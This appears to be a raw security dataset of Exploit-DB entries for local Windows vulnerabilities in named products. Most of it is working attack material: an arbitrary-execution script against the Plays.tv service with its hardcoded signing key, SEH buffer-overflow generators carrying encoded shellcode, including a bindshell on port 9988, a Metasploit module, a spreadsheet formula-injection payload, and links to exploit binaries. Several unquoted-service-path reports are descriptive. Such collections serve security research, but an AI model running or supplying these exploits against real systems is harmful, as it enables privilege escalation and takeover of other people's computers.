deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49535
Description: AMD Fuel Service - 'Fuel.service' Unquote Service Path
Type: local
Platform: windows
Date: 2021-02-08
Author: Hector Gerbacio

Exploit:
# Exploit Title: AMD Fuel Service - 'Fuel.service' Unquote Service Path
# Discovery by: Hector Gerbacio
# Discovery Date: 2021-02-05
# Vendor Homepage: https://www.amd.com/
# Tested Version: 1.0.0.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 8.1 con Bing

# Step to discover Unquoted Service Path:

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\WINDOWS\\" | findstr /i "fuel.service" | findstr /i /v """
AMD FUEL Service		AMD FUEL Service		C:\Program Files\ATI Technologies\ATI.ACE\Fuel\Fuel.Service.exe /launchService                          Auto

# Service info:

C:\>sc qc "AMD FUEL Service"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: AMD FUEL Service
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\ATI Technologies\ATI.ACE\Fuel\Fuel.Service.exe /launchService
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : AMD FUEL Service
        DEPENDENCIAS       : RpcSs
        NOMBRE_INICIO_SERVICIO: LocalSystem


#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Exploit-DB #44476
Description: AMD Plays.tv 1.27.5.0 - 'plays_service.exe' Arbitrary File Execution
Type: local
Platform: windows
Date: 2018-04-15
Author: Securifera

Exploit:
########################################################################
#  http://support.amd.com/en-us/download?cmpid=CCCOffline - 
#  Click "Automatically Detect - Download Now"
#  Installation Automatically Installs "Raptr, Inc Plays TV Service"
#
#  OR
#
#  https://plays.tv/download
#
#  Target OS:   Windows( Any )
#  Privilege:   SYSTEM
#  Type:        Arbitrary File Execution
#
#  Notes:       Second minor bug allows for arbitrary file write of 
#               uncontrolled data using the /extract_files path.
#
########################################################################

#!/usr/bin/python3
import urllib.request
import json
import hashlib

def check_svc( path, data ):
      
  #Setup request
  request = urllib.request.Request(addr)

  #add post data
  try:
    resp = urllib.request.urlopen(request, "data".encode("utf-8"))
    return "[-] Not Raptr, Plays TV service"
  except urllib.error.HTTPError as err:
    error_message = err.read().decode("utf-8")
    if error_message == 'Security failed - Missing hash or message[data]':
        return "[+] Raptr, Plays TV service"

def post_req( path, data ):
  
  secret_key = 'a%qs0t33QgiE6ut^0I&Y'
    
  #Setup request
  request = urllib.request.Request(addr)
  json_data = json.dumps(data)
  
  m = hashlib.md5()
  hash_data = path + json_data + secret_key
  m.update(hash_data.encode('utf8'))
  hash_str = m.hexdigest()
  
  #add post data
  p_data = urllib.parse.urlencode({'data' : json_data, 'hash' : hash_str }).encode("utf-8")
  resp = urllib.request.urlopen(request, p_data)
  return resp.read()

#Target IP address
ip = '127.0.0.1'

##############################################################
# The service binds to an ephemeral port defined at
# [HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\PlaysTV\Service] 
##############################################################
port = 50452

##############################################################
# The service calls CreateProcess with the following format: 
# '"%s" -appdata "%s" -auto_installed 1' % (installer, appdata)
#
# One way to achieving remote code execution is to use SMB
# cmd = "\\\\<IP ADDRESS>\\<SHARE>\\<FILE>"
##############################################################
cmd = "C:\\Windows\\System32\\calc.exe"       #Local Execution
data = {
  "installer": cmd,
  "appdata": cmd
}

#Set url
path = '/execute_installer'
addr = 'http://' + ip + ':' + str(port) + path

#Check if the remote service is a Raptr Plays TV svc
#ret = check_svc(data, path)
#print(ret)

#Exploit service
ret = post_req(path, data)
print(ret)
Exploit-DB #50184
Description: Amica Prodigy 1.7 - Privilege Escalation
Type: local
Platform: windows
Date: 2021-08-10
Author: Andrea Intilangelo

Exploit:
# Exploit Title: Amica Prodigy 1.7 - Privilege Escalation
# Date: 2021-08-06
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: https://gestionaleamica.com - https://www.bisanziosoftware.com
# Software Link: https://gestionaleamica.com/Download/AmicaProdigySetup.exe
# Version: 1.7
# Tested on: Windows 10 Pro 20H2 x64
# CVE: CVE-2021-35312

Amica Prodigy it's a backup solution from Amica softwares (GestionaleAmica: invoices, accounting, etc.,
from website gestionaleamica.com), a CIR 2000 srl / Bisanzio Software srl

A vulnerability was found in CIR 2000 / Gestionale Amica Prodigy v1.7. The Amica Prodigy's executable
"RemoteBackup.Service.exe" has incorrect permissions, allowing a local unprivileged user to replace it
with a malicious file that will be executed with "LocalSystem" privileges at scheduled time.

C:\Users\user>icacls C:\AmicaProdigy\RemoteBackup.Service.exe

C:\AmicaProdigy\RemoteBackup.Service.exe
					NT AUTHORITY\Authenticated Users:(I)(M) NT
					AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F)
					BUILTIN\Users:(I)(RX) Elaborazione completata per 1 file.
Exploit-DB #47747
Description: Amiti Antivirus 25.0.640 - Unquoted Service Path
Type: local
Platform: windows
Date: 2019-12-05
Author: ZwX

Exploit:
#Exploit Title: Amiti Antivirus 25.0.640 - Unquoted Service Path
#Exploit Author : ZwX
#Exploit Date: 2019-12-04
#Vendor Homepage : http://www.netgate.sk/
#Link Software : https://www.netgate.sk/download/download.php?id=11
#Tested on OS: Windows 7


#Analyze PoC :
==============


C:\Users\ZwX>sc qc ScsiAccess
[SC] QueryServiceConfig réussite(s)

SERVICE_NAME: AmitiAvHealth
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\NETGATE\Amiti Antivirus\AmitiAntivirusHealth.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Amiti Antivirus Health Check
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\ZwX>sc qc AmitiAvSrv
[SC] QueryServiceConfig réussite(s)

SERVICE_NAME: AmitiAvSrv
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\NETGATE\Amiti Antivirus\AmitiAntivirusSrv.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Amiti Antivirus Engine Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #48396
Description: Andrea ST Filters Service 1.0.64.7 - 'Andrea ST Filters Service ' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-04-29
Author: Roberto Piña

Exploit:
# Exploit Title: Andrea ST Filters Service  1.0.64.7  - 'Andrea ST Filters Service ' Unquoted Service Path
# Discovery by: Roberto Piña
# Discovery Date: 2020-04-28
# Vendor Homepage: https://andreaelectronics.com/
# Software Link : https://andreaelectronics.com/
# Tested Version: 1.0.64.7
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "Andrea" | findstr /i /v """
Andrea ST Filters Service                                                        AESTFilters                               C:\Program Files\IDT\WDM\AESTSr64.exe                                                                                                         Auto

C:\>sc qc AESTFilters
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: AESTFilters
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\IDT\WDM\AESTSr64.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Andrea ST Filters Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem


#Exploit:
# A successful attempt would require the local user to be able to insert their code in the system root path 
# undetected by the OS or other security applications where it could potentially be executed during 
# application startup or reboot. If successful, the local user's code would execute with the elevated 
# privileges of the application.
Exploit-DB #7054
Description: Anti-Keylogger Elite 3.3.0 - 'AKEProtect.sys' Local Privilege Escalation
Type: local
Platform: windows
Date: 2008-11-07
Author: NT Internals

Exploit:
////////////////////////////////////////////////////////////////////////////////////
// +----------------------------------------------------------------------------+ //
// |                                                                            | //
// | ISecSoft, Inc. - http://www.remove-keyloggers.com                          | //
// |                                                                            | //
// | Affected Software:                                                         | //
// | Anti-Keylogger Elite <= 3.3.0                                              | //
// |                                                                            | //
// | Affected Driver:                                                           | //
// | Anti-Keylogger Elite Driver - AKEProtect.sys <= 3.3.3.0                    | //
// |                                                                            | //
// | Local Privilege Escalation Exploit                                         | //
// | For Educational Purposes Only !                                            | //
// |                                                                            | //
// +----------------------------------------------------------------------------+ //
// |                                                                            | //
// | NT Internals - http://www.ntinternals.org/                                 | //
// | alex ntinternals org                                                       | //
// | 07 November 2008                                                           | //
// |                                                                            | //
// | References:                                                                | //
// | Exploiting Common Flaws in Drivers                                         | //
// | Ruben Santamarta - http://reversemode.com/                                 | //
// |                                                                            | //
// +----------------------------------------------------------------------------+ //
////////////////////////////////////////////////////////////////////////////////////

Exploit:
http://www.ntinternals.org/ntiadv0802/AKEProtect_Exp.zip
backup: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32572-1.zip (2008-AKEProtect_Exp.zip)

Advisory:
http://www.ntinternals.org/ntiadv0802/ntiadv0802.html


# milw0rm.com [2008-11-07]
Exploit-DB #32572
Description: Anti-Trojan Elite 4.2.1 - 'Atepmon.sys' IOCTL Request Local Overflow / Local Privilege Escalation
Type: local
Platform: windows
Date: 2008-11-07
Author: alex

Exploit:
source: https://www.securityfocus.com/bid/32202/info

ISecSoft Anti-Trojan Elite and Anti-Keylogger Elite are prone to multiple local privilege-escalation vulnerabilities.

An attacker can exploit these issues to execute arbitrary code with elevated privileges, which may facilitate a complete compromise of the affected computer.

The following applications are vulnerable:

Anti-Trojan Elite 4.2.1 and earlier
Anti-Keylogger Elite 3.3.0 and earlier

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32572-1.zip (AKEProtect_Exp.zip)
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32572-2.zip (Atepmon_DoS.zip)
Exploit-DB #45765
Description: Anviz AIM CrossChex Standard 4.3 - CSV Injection
Type: local
Platform: windows
Date: 2018-11-02
Author: LiquidWorm

Exploit:
# Exploit Title: Anviz AIM CrossChex Standard 4.3 - CSV Injection
# Author: Gjoko 'LiquidWorm' Krstic @zeroscience
# Date: 2018-11-01
# Vendor: Anviz Biometric Technology Co., Ltd.
# Product web page: https://www.anviz.com
# Affected version: 4.3.6.0
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
# CVE: N/A
# References
# Advisory ID: ZSL-2018-5498
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5498.php

# Desc: CSV (XLS) Injection (Excel Macro Injection or Formula
# Injection) exists in the AIM CrossChex 4.3 when importing
# or exporting users using xls Excel file. This can be exploited
# to execute arbitrary commands on the affected system via
# SE attacks when an attacker inserts formula payload in the
# 'Name' field when adding a user or using the custom fields
# 'Gender', 'Position', 'Phone', 'Birthday', 'Employ Date'
# and 'Address'. Upon importing, the application will launch
# Excel program and execute the malicious macro formula.

# PoC
# From the menu:

User -> Add -> use payload: =cmd|' /C mspaint'!L337
User -> Import / Export: use payload: =cmd|' /C mspaint'!L337
Exploit-DB #18869
Description: AnvSoft Any Video Converter 4.3.6 - Unicode Buffer Overflow
Type: local
Platform: windows
Date: 2012-05-12
Author: h1ch4m

Exploit:
# Exploit Title: AnvSoft Any Video Converter 4.3.6 unicode buffer overflow.
# Software Link: http://www.any-video-converter.com
# Version: 4.3.6
# References: http://www.exploit-db.com/exploits/18717/
#             http://www.vulnerability-lab.com/get_content.php?id=492
# Credits: Vulnerability Research Laboratory Team
# Tested on: Win XP SP3 French
# trigger the bug : generate the .reg file, execute it, and then open the app
# Date: 12/05/2012
# Author: h1ch4m (Hicham Oumounid)
# Email: h1ch4m@live.fr
# Home: http://net-effects.blogspot.com
# Big thanks to corelanc0d3r and thanks to all for sharing knowledge

my $file ="poc.reg";

$junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9" .
        "Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9" .
		"Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9" .
		"Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9" .
		"Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3";

my $xploit = "Windows Registry Editor Version 5.00\n\n";
$xploit .= "[HKEY_CURRENT_USER\\Software\\AnvSoft\\Any Video Converter Ultimate\\Setting\\Output]\n\"OutputFolder\"=\"";
$xploit .= $junk;           # junk

$xploit .= "\x59\x21";      # next seh = POP ECX + ADD BYTE PTR DS:[ESI],CH
$xploit .= "\x61\x4e";      #      seh = ADD ESP,8 # RETN 04  #  0x004E0061

# The Venetian Shellcode
$xploit .= "\x41";                   # \x00\x41\x00 = ADD BYTE PTR DS:[ECX],AL
$xploit .= "\x58";                   # \x58 = POP EAX
$xploit .= "\x41";                   # \x00\x41\x00 = ADD BYTE PTR DS:[ECX],AL
$xploit .= "\xbb\x1e\x11";           # MOV EBX, 0x10002000
$xploit .= "\xf8";                   # ADD AL,BH
$xploit .= "\x41";                   # \x00\x41\x00 = ADD BYTE PTR DS:[ECX],AL
$xploit .= "\x50";                   # push eax
$xploit .= "\x41";                   # \x00\x41\x00 = ADD BYTE PTR DS:[ECX],AL
$xploit .= "\xc3";                   # ret  

# alpha3 encoded ascii uppercase calc Shellcode, base register = EAX
$xploit .= "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11" .
"AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBNK8" .
"I8ZXQXY44MTL4QN6QP2VXVBDOTROCNQPFLVLCOVLVU3JNQNRM37XO2VKKCXNP3VULK" .
"QIEVWTNCFEMIUMNKLL3LEJ4PP9PUN4XCLLGLWLV1KMV5XF6C3JDBJWHMOJW7NMJMQP" .
"87CQKS6O5OKM9OOMQYYGN042WP1GNUJJSKY6X5OWTKM2R5QMD6MKYZITLGV26WZVML" .
"KSUOFZGMPSN8LJVYPPNNMWY8LMMN0K5Y1QL0TI2OINK6NNP7TNLSEPJLRVX2HJLHQL" .
"ZOYLLNVKLMJKRL3SZOULGKRQNKNNSTOQQJ1VU8KQ5ZU5NTHYT6LSJSOLXVNMSMPWLV" .
"D8FP5XFJF4LY8PJEMJHGZQDUNPZURQUMENU6UBYKL2QOYP0QMYCGQUMP731TLMMYRF" .
"F5XUMKW0WPOGMBMB2N42YUMNNLEJL5QUMMVMUGRQ084UUKUSYA";

$xploit .= $junk x 15 ."\"";

open($FILE,">$file");
print $FILE $xploit;
close($FILE);
print "File Created successfully\n";
sleep(1);
Exploit-DB #45744
Description: Any Sound Recorder 2.93 - Buffer Overflow Local (SEH) (Metasploit)
Type: local
Platform: windows
Date: 2018-10-30
Author: d3ckx1

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'    => 'Any Sound Recorder 2.93 Buffer Overflow (SEH)',
      'Description'  => %q{
          This module exploits a stack based buffer overflow in Any Sound Recorder 2.93, when
          with the name "hack.txt". Copy the content of the  "hack.txt",Start Any Sound Recorder 2.93 click "Enter Key Code" Paste the content into field "User Name" click "Register"
      },
      'License'    => MSF_LICENSE,
      'Author'    =>
        [
          'Abdullah Alıç',            # Original discovery
          'd3ckx1 d3ck(at)qq.com',       # MSF module
        ],
      'References'  =>
        [
          [ 'OSVDB', '' ],
          [ 'EBD', '45627' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Platform'  => 'win',
      'Payload'   =>
        {
          'BadChars'    => "\x00\x0a\x0d",
          'DisableNops' => true,
          'Space'       => 10000
        },
      'Targets'   =>
        [
          [ 'Any Sound Recorder 2.93',
            {
              'Ret'     =>  0x72d12f35, # 0x72d12f35 : P/P/R FROM msacm32.drv form winxp sp3
              'Offset'  =>  900
            }
          ],
        ],
      'Privileged'  => false,
      'DisclosureDate'  => 'Oct 25 2018',
      'DefaultTarget'  => 0))

    register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.txt']),], self.class)

  end

  def exploit
    buf = "\x90"*(target['Offset'])
    buf << "\xeb\x06#{Rex::Text.rand_text_alpha(2, payload_badchars)}" # nseh (jmp to payload)
    buf << [target.ret] .pack('V')  # seh
    buf << make_nops(10)
    buf << payload.encoded
    buf << "\x90" * 200

    file_create(buf)
    handler
    
  end
end
Exploit-DB #46025
Description: AnyBurn 4.3 - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2018-12-21
Author: Matteo Malvica

Exploit:
#!/usr/bin/env python

# Exploit Title: AnyBurn 4.3 - Local Buffer Overflow (SEH Unicode)
# Date: 20-12-2018
# Exploit Author: Matteo Malvica
# Vendor Homepage: http://www.anyburn.com/
# Software Link : http://www.anyburn.com/anyburn_setup.exe
# Tested Version: 4.3 (32-bit) 
# Tested on: Windows 7 x64 SP1
# Credits: original vulnerability discovered by Achilles: https://www.exploit-db.com/exploits/46002

# Steps to reproduce:
# 1.- Run the python code
# 2.- Open exploit.txt and copy its content to the clipboard
# 3.- Open AnyBurn and choose 'Copy disk to Image'
# 4.- Paste the content of exploit.txt into the field: 'Image file name'
# 5.- Click 'Create Now' 
# 6.- Check with command prompt 'netstat -ano' and you should see a port listening on 9988
# 7.- With windows firewall disabled, from another host: 'nc [remote_IP] 9988'


# alphanumeric bindshell - port 9988, courtesy of b33f
shellcode = (
"PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1"
"AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABA"
"BAB30APB944JBKLK8CYKPM0KPQP59ZEP18RQTTKQBNP4KQBLLTK0RLTDKC"
"BMXLOWGOZO6NQKONQ7PVLOLC13LKRNLO0GQHOLMKQY7YRL022R74KPRLP4"
"KPBOLKQJ0TKOPSHSU7PD4OZKQ8PPPTKQ8LX4KQHO0M1ICJCOLOYTK04TKM"
"1YFP1KONQ7P6L7QXOLMKQ7W08K0RUZTM33ML8OKCMO4SEYRQHTKPXO4KQI"
"CQV4KLLPK4KR8MLKQHSTKKT4KKQJ0SYOTO4NDQKQK1Q0Y1JPQKOIPB8QOQ"
"JTKMBJKTFQM38NSOBKPKPQXBWBSNRQOB4QXPLBWNFLGKO8UWHDPM1KPKPN"
"IWTPTPPBHO9SPRKKPKOJ50P20PP0P10PP10R0S89ZLOIOYPKO9EE9XGNQ9"
"K1CRHM2KPNGKTTIK61ZLP0V0WBH7RYKOGS7KOXU0SPWQX7GIYOHKOKOZ50"
"SB3R7C83DZLOKK1KO8UQGTIGWS8RURN0M1QKO8URHRC2MQTKPTIK31G0WP"
"WNQL6QZMBR9R6JBKM1VY7OTMTOLM1KQTMOTO4N096KPQ4B4PPQF0VPVOV2"
"6PNB6R6B3QF1X3IHLOO3VKOHUTIK00NR6PFKONP38LHU7MMQPKOXUGKJPG"
"EVBPV38G6F5GM5MKOXUOLLF3LKZCPKKIPBUM57KOWMCSBRO2JM0PSKO9EA")


# total payload length 10000

align = (
"\x55"                      #push EBP - closer register to our shellcode, from where we are pivoting
"\x6e"                      #Venetian Padding
"\x58"                      #pop EAX
"\x6e"                      #Venetian Padding
"\x05\x22\x11"              #add eax,0x11002200  \
"\x6e"                      #Venetian Padding     |> +0xB00 
"\x2d\x17\x11"              #sub eax,0x11001700  /
"\x6e"                      #Venetian Padding
"\x50"                      #push EAX
"\x6e"                      #Venetian Padding
"\xC3")                     #RETN

nseh = "\x94\x94" 			# ANSI x94 translates to Unicode 201D
seh =  "\xb5\x4d" 			# 0x004d00b5 POP POP RET in AnyBurn.exe module

preamble = "\x58" * 47 + shellcode + "\x58" * (9197-47- len(shellcode)) + nseh + seh
unicode_nops = "\x58" * 200
exploit = preamble + align + unicode_nops + "\x58" * (10000 - len(preamble) - len(unicode_nops)-len(align))

try:
	f=open("exploit.txt","w")
	print "[+] Creating %s bytes lasagna payload.." %len(exploit)
	f.write(exploit)
	f.close()
	print "[+] File created!"
except:
	print "File cannot be created"
Exploit-DB #40410
Description: AnyDesk 2.5.0 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-09-22
Author: Tulpa

Exploit:
# Exploit Title: AnyDesk 2.5.0 Unquoted Service Path Elevation of Privilege
# Date: 22/09/2016
# Exploit Author: Tulpa
# Contact: tulpa@tulpa-security.com
# Author website: www.tulpa-security.com
# Vendor Homepage: http://anydesk.com
# Software Link: http://anydesk.com/download
# Version: Software Version 2.5.0
# Tested on: Windows 10 Professional x64, Windows XP SP3 x86, Windows Server 2008 R2 x64
# Shout-out to carbonated and ozzie_offsec

1. Description:

The Anydesk installs as a service with an unquoted service path running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system.

2. Proof

C:\>sc qc anydesk
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: anydesk
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\AnyDesk\AnyDesk.exe --service
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : AnyDesk Service
        DEPENDENCIES       : RpcSs
        SERVICE_START_NAME : LocalSystem


3. Exploit:

A successful attempt would require the local user to be able to insert their
code in the system root path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot.
If successful, the local user's code would execute with the elevated privileges
of the application.